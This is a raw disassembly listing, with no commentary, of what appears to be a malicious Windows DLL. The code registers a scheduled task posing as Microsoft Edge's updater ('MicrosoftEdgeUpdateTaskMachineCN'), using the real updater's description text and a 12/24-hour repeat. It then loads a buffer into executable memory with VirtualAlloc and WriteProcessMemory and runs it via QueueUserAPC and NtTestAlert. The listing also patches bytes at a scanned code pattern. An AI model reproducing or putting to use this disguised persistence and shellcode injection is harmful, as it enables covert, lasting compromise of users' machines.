mov rbx, qword [rbp + 0x2c0]
mov ecx, 0x18
call fcn.18000e790
mov r14, rax
mov qword [rax + 8], 0
mov dword [rax + 0x10], 1
lea rcx, str.Keep_your_Microsoft_software_up_to_date._If_this_task_is_disabled_or_stopped__Microsoft_software_will_not_be_able_to_stay_up_to_date__which_means_potential_security_vulnerabilities_cannot_be_fixed_and_functionality_may_also_be_unavailable._If_there_is_no_Microsoft_software_to_use_this_task__it_will_uninstall_on_its_own.
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [r14], rax
test rax, rax
je 0x180006e47
mov qword [rbp + 0x340], r14
mov r8, qword [rbx]
mov rcx, rbx
mov rdx, rax
call qword [r8 + 0x40]
mov rax, r14
add rax, 0x10
lock dec dword [rax]
jne 0x18000646a
mov rcx, qword [r14]
test rcx, rcx
je 0x18000644f
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [r14], 0
mov rcx, qword [r14 + 8]
test rcx, rcx
je 0x18000645d
call fcn.18000e7cc
mov edx, 0x18
mov rcx, r14
call fcn.18000e7cc
mov rcx, qword [rbp + 0x2c0]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [rbp + 0x270], 0
mov rcx, qword [rbp + 0x318]
mov rax, qword [rcx]
lea rdx, [rbp + 0x270]
call qword [rax + 0x48]
mov qword [rbp + 0x278], 0
mov rcx, qword [rbp + 0x270]
mov rax, qword [rcx]
lea r8, [rbp + 0x278]
mov edx, 2
call qword [rax + 0x50]
mov rcx, qword [rbp + 0x270]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [rbp + 0x280], 0
mov rcx, qword [rbp + 0x278]
mov rax, qword [rcx]
lea rdx, [0x1800398a8]
lea r8, [rbp + 0x280]
call qword [rax]
mov rcx, qword [rbp + 0x278]
mov rax, qword [rcx]
call qword [rax + 0x10]
call fcn.18000e74c
mov rcx, rax
movabs rdx, 0xd6bf94d5e57a42bd
imul rdx
add rdx, rcx
mov rax, rdx
shr rax, 0x3f
sar rdx, 0x17
add rdx, rax
mov qword [rbp + 0xd0], rdx
lea rcx, [rbp + 0xd0]
call fcn.18001aa6c
lea r8, str._Y__m__dT_H:_M:_S
lea rcx, [rbp + 0x340]
mov edx, 0x14
mov r9, rax
call fcn.180011504
mov rbx, qword [rbp + 0x280]
mov ecx, 0x18
call fcn.18000e790
mov r14, rax
mov qword [rax + 8], 0
mov dword [rax + 0x10], 1
lea rcx, [rbp + 0x340]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [r14], rax
test rax, rax
je 0x180006e58
mov qword [rbp + 0x2d0], r14
mov r8, qword [rbx]
mov rcx, rbx
mov rdx, rax
call qword [r8 + pe_nt_image_headers64]
mov rax, r14
add rax, 0x10
lock dec dword [rax]
jne 0x1800065d9
mov rcx, qword [r14]
test rcx, rcx
je 0x1800065be
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [r14], 0
mov rcx, qword [r14 + 8]
test rcx, rcx
je 0x1800065cc
call fcn.18000e7cc
mov edx, 0x18
mov rcx, r14
call fcn.18000e7cc
mov qword [rbp + 0x2c8], 0
mov rcx, qword [rbp + 0x280]
mov rax, qword [rcx]
lea rdx, [rbp + 0x2c8]
call qword [rax + 0x50]
mov rbx, qword [rbp + 0x2c8]
mov ecx, 0x18
call fcn.18000e790
mov r14, rax
mov qword [rax + 8], 0
mov dword [rax + 0x10], 1
lea rcx, str.PT12H
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [r14], rax
test rax, rax
je 0x180006e69
mov qword [rbp + 0x2d0], r14
mov r8, qword [rbx]
mov rcx, rbx
mov rdx, rax
call qword [r8 + 0x40]
mov rax, r14
add rax, 0x10
lock dec dword [rax]
jne 0x180006684
mov rcx, qword [r14]
test rcx, rcx
je 0x180006669
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [r14], 0
mov rcx, qword [r14 + 8]
test rcx, rcx
je 0x180006677
call fcn.18000e7cc
mov edx, 0x18
mov rcx, r14
call fcn.18000e7cc
mov rbx, qword [rbp + 0x2c8]
mov ecx, 0x18
call fcn.18000e790
mov r14, rax
mov qword [rax + 8], 0
mov dword [rax + 0x10], 1
lea rcx, str.PT24H
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [r14], rax
test rax, rax
je 0x180006e7a
mov qword [rbp + 0x2d0], r14
mov r8, qword [rbx]
mov rcx, rbx
mov rdx, rax
call qword [r8 + 0x50]
mov rax, r14
add rax, 0x10
lock dec dword [rax]
jne 0x180006710
mov rcx, qword [r14]
test rcx, rcx
je 0x1800066f5
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [r14], 0
mov rcx, qword [r14 + 8]
test rcx, rcx
je 0x180006703
call fcn.18000e7cc
mov edx, 0x18
mov rcx, r14
call fcn.18000e7cc
mov rcx, qword [rbp + 0x2c8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [rbp + 0x288], 0
mov rcx, qword [rbp + 0x318]
mov rax, qword [rcx]
lea rdx, [rbp + 0x288]
call qword [rax + 0x88]
mov qword [rbp + 0x290], 0
mov rcx, qword [rbp + 0x288]
mov rax, qword [rcx]
lea r8, [rbp + 0x290]
xor edx, edx
call qword [rax + 0x60]
mov rcx, qword [rbp + 0x288]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [rbp + 0x298], 0
mov rcx, qword [rbp + 0x290]
mov rax, qword [rcx]
lea rdx, str.MbLk
lea r8, [rbp + 0x298]
call qword [rax]
mov rcx, qword [rbp + 0x290]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rbx, qword [rbp + 0x298]
mov r12, qword [rbp + 0x2a0]
mov r14, qword [rbp + 0x2b8]
mov ecx, 0x18
call fcn.18000e790
mov r13, rax
cmp r14, 8
lea r14, [rbp + 0x2a0]
cmovae r14, r12
mov qword [rax + 8], 0
mov dword [rax + 0x10], 1
mov rcx, r14
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [r13], rax
test rax, rax
jne 0x1800067fa
test r14, r14
jne 0x180006e8b
mov qword [rbp + 0x2d0], r13
mov r8, qword [rbx]
mov rcx, rbx
mov rdx, rax
call qword [r8 + 0x58]
mov rax, r13
add rax, 0x10
lock dec dword [rax]
jne 0x18000684c
mov rcx, qword [r13]
test rcx, rcx
je 0x180006831
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [r13], 0
mov rcx, qword [r13 + 8]
test rcx, rcx
je 0x18000683f
call fcn.18000e7cc
mov edx, 0x18
mov rcx, r13
call fcn.18000e7cc
mov rcx, qword [rbp + 0x298]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [rbp + 0x138], 0
mov rbx, qword [rbp + 0x308]
mov word [rbp + 0x258], 8
lea rcx, [0x180044e0a]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbp + 0x260], rax
test rax, rax
je 0x180006e9c
mov rax, qword [rbp + 0x268]
mov qword [rbp + 0x2e0], rax
mov rax, qword [rbp + 0x258]
mov qword [rbp + 0x2d0], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x2d8], rax
lea rcx, [rbp + 0xa0]
call r15
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0x120], rax
movups xmm0, xmmword [rbp + 0xa0]
movaps xmmword [rbp + 0x110], xmm0
lea rcx, [rbp + 0xb8]
call r15
mov rax, qword [rbp + 0xc8]
mov qword [rbp + 0x90], rax
movdqu xmm0, xmmword [rbp + 0xb8]
movdqa xmmword [rbp + 0x80], xmm0
mov r14, qword [rbp + 0x318]
mov ecx, 0x18
call fcn.18000e790
mov r15, rax
mov qword [rax + 8], 0
mov dword [rax + 0x10], 1
lea rcx, str.MicrosoftEdgeUpdateTaskMachineCN
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [r15], rax
test rax, rax
je 0x180006ea6
mov qword [rbp + 0xd8], r15
mov rcx, qword [rbx]
mov r10, qword [rcx + 0x88]
lea rcx, [rbp + 0x138]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x28], rsi
lea rcx, [rbp + 0x80]
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x30], 3
mov rcx, rbx
mov rdx, rax
mov r8, r14
mov r9d, 6
call r10
mov rax, r15
add rax, 0x10
lock dec dword [rax]
mov rsi, qword [sym.imp.OLEAUT32.dll_VariantCopy]
jne 0x1800069d5
mov rcx, qword [r15]
test rcx, rcx
je 0x1800069ba
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [r15], 0
mov rcx, qword [r15 + 8]
test rcx, rcx
je 0x1800069c8
call fcn.18000e7cc
mov edx, 0x18
mov rcx, r15
call fcn.18000e7cc
lea rcx, [rbp + 0xb8]
call rsi
lea rcx, [rbp + 0xa0]
call rsi
lea rcx, [rbp + 0x258]
call rsi
call fcn.180004e80
mov rcx, qword [rbp + 0x308]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x318]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x138]
mov rax, qword [rcx]
call qword [rax + 0x10]
jmp 0x180006a51
lea rcx, [0x180042434]
call fcn.18001c520
mov rcx, qword [rbp + 0x130]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x308]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x310]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov rax, qword [rbp + 0x2b8]
cmp rax, 8
jb 0x180006aa3
mov rcx, qword [rbp + 0x2a0]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x180006a9e
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x180006d56
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.18000e7cc
lea rcx, [0x180043cbc]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtTestAlert
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov rsi, qword [rbp + 0x2f0]
mov rbx, qword [rbp + 0x2f8]
sub rbx, rsi
xor ecx, ecx
mov rdx, rbx
mov r8d, 0x1000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, r14
mov r8, rsi
mov r9, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, r14
mov rdx, rax
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
call rdi
test rsi, rsi
je 0x180006cc7
mov rdx, qword [rbp + 0x300]
sub rdx, rsi
cmp rdx, 0x1000
jb 0x180006b5e
mov rax, qword [rsi - 8]
add rsi, 0xfffffffffffffff8
sub rsi, rax
cmp rsi, 0x20
jae 0x180006d56
add rdx, 0x27
mov rsi, rax
mov rcx, rsi
call fcn.18000e7cc
jmp 0x180006cc7
mov rcx, qword [rdx + rsi + 0x50]
test rcx, rcx
je 0x180006c14
cmp rcx, rsi
je 0x180006c14
call fcn.180008820
mov rax, qword [0x18004f600]
movsxd rax, dword [rax + 4]
cmp dword [rax + rsi + 0x10], 0
sete byte [rbp + 0x328]
mov dword [rbp + 0x368], 4
jne 0x180006c6f
jmp 0x180006c1d
jbe 0x1800051a7
xor eax, eax
jmp 0x180006bcc
inc rax
cmp rbx, rax
je 0x1800051a7
cmp byte [rsi + rax], 0xf0
jne 0x180006bc0
cmp byte [rsi + rax + 9], 0x41
jne 0x180006bc0
cmp byte [rsi + rax + 1], 0x44
jne 0x180006bc0
cmp byte [rsi + rax + 2], 0xf
jne 0x180006bc0
cmp byte [rsi + rax + 3], 0xb1
jne 0x180006bc0
cmp byte [rsi + rax + 4], 0x35
jne 0x180006bc0
add rsi, rax
mov rax, rsi
test rax, rax
je 0x1800051a7
mov ecx, dword [rax + 5]
mov dword [rax + rcx + 9], 2
jmp 0x1800051a7
mov byte [rbp + 0x328], 1
cdqe
lea rcx, [0x18004f600]
mov rcx, qword [rax + rcx + 0x48]
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x180006c55
mov r8, qword [rcx + 0x58]
mov r9d, dword [r8]
test r9d, r9d
jle 0x180006c55
dec r9d
mov dword [r8], r9d
lea rcx, [rdx + 1]
mov qword [rax], rcx
mov byte [rdx], bl
movzx eax, bl
jmp 0x180006c5e
movzx edx, bl
mov rax, qword [rcx]
call qword [rax + 0x18]
xor ecx, ecx
cmp eax, 0xffffffff
sete cl
shl ecx, 2
mov dword [rbp + 0x368], ecx
mov rax, qword [0x18004f600]
movsxd rcx, dword [rax + 4]
lea r8, [0x18004f600]
mov eax, dword [rcx + r8 + 0x10]
xor edx, edx
cmp qword [rcx + r8 + 0x48], 0
sete dl
shl edx, 2
and eax, 0x17
or eax, dword [rbp + 0x368]
or eax, edx
mov dword [rcx + r8 + 0x10], eax
and eax, dword [rcx + r8 + 0x14]
jne 0x180006f12
lea rcx, [rbp + 0x320]
call fcn.180008b40
lea rcx, [0x18004f600]
call fcn.180008820
mov rax, qword [rbp + 0x148]
movsxd rax, dword [rax + 4]
lea rcx, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rax + 0x148], rcx
mov rax, qword [rbp + 0x148]
movsxd rax, dword [rax + 4]
lea ecx, [rax - 0xb0]
mov dword [rbp + rax + 0x144], ecx
lea rcx, [rbp + 0x158]
call fcn.180008300
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x1f8], rax
lea rcx, [rbp + 0x1f8]
call fcn.18000dc74
mov eax, 1
add rsp, 0x3f8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
inc r15
lea rcx, [r15 + r15*4]
mov eax, dword [r14 + rcx*8 + 8]
mov ecx, dword [r14 + rcx*8 + 0xc]
add rsi, rcx
jmp 0x18000507e
call fcn.180008dc0
call fcn.18001a670
call fcn.180008de0
test al, 2
lea rcx, [0x180043926]
lea rdx, [0x180043910]
cmove rdx, rcx
test al, 4
lea rsi, [0x18004393b]
cmove rsi, rdx
lea rdi, [rbp + 0x2a0]
mov rcx, rdi
mov edx, 1
call fcn.180007c90
lea rcx, [rbp + 0x340]
mov rdx, rsi
mov r8, rdi
call fcn.180007d10
lea rdx, [0x18004bbe8]
lea rcx, [rbp + 0x340]
call fcn.18000ff44
test al, 2
lea rcx, [0x180043926]
lea rdx, [0x180043910]
cmove rdx, rcx
test al, 4
lea rsi, [0x18004393b]
cmove rsi, rdx
lea rdi, [rbp + 0x2a0]
mov rcx, rdi
mov edx, 1
call fcn.180007c90
lea rcx, [rbp + 0x340]
mov rdx, rsi
mov r8, rdi
call fcn.180007d10
lea rdx, [0x18004bbe8]
lea rcx, [rbp + 0x340]
call fcn.18000ff44
mov qword [rbp + 0x368], r14
mov ecx, 0x8007000e
call fcn.18000e780
mov qword [rbp + 0x368], r14
mov ecx, 0x8007000e
call fcn.18000e780
mov qword [rbp + 0x368], r14
mov ecx, 0x8007000e
call fcn.18000e780
mov qword [rbp + 0x368], r14
mov ecx, 0x8007000e
call fcn.18000e780
mov qword [rbp + 0x368], r14
mov ecx, 0x8007000e
call fcn.18000e780
mov qword [rbp + 0x368], r14
mov ecx, 0x8007000e
call fcn.18000e780
mov qword [rbp + 0x368], r14
mov ecx, 0x8007000e
call fcn.18000e780
mov qword [rbp + 0x368], r13
mov ecx, 0x8007000e
call fcn.18000e780
mov ecx, 0x8007000e
call fcn.18000e780
mov qword [rbp + 0x368], r15
mov ecx, 0x8007000e
call fcn.18000e780
test cl, 2
lea rcx, [0x180043926]
lea rdx, [0x180043910]
cmove rdx, rcx
test al, 4
lea rsi, [0x18004393b]
cmove rsi, rdx
lea rdi, [rbp + 0x2a0]
mov rcx, rdi
mov edx, 1
call fcn.180007c90
lea rcx, [rbp + 0x340]
mov rdx, rsi
mov r8, rdi
call fcn.180007d10
lea rdx, [0x18004bbe8]
lea rcx, [rbp + 0x340]
call fcn.18000ff44
test al, 2
lea rcx, [0x180043926]
lea rdx, [0x180043910]
cmove rdx, rcx
test al, 4
lea rsi, [0x18004393b]
cmove rsi, rdx
lea rdi, [rbp + 0x2a0]
mov rcx, rdi
mov edx, 1
call fcn.180007c90
lea rcx, [rbp + 0x340]
mov rdx, rsi
mov r8, rdi
call fcn.180007d10
lea rdx, [0x18004bbe8]
lea rcx, [rbp + 0x340]
call fcn.18000ff44
int3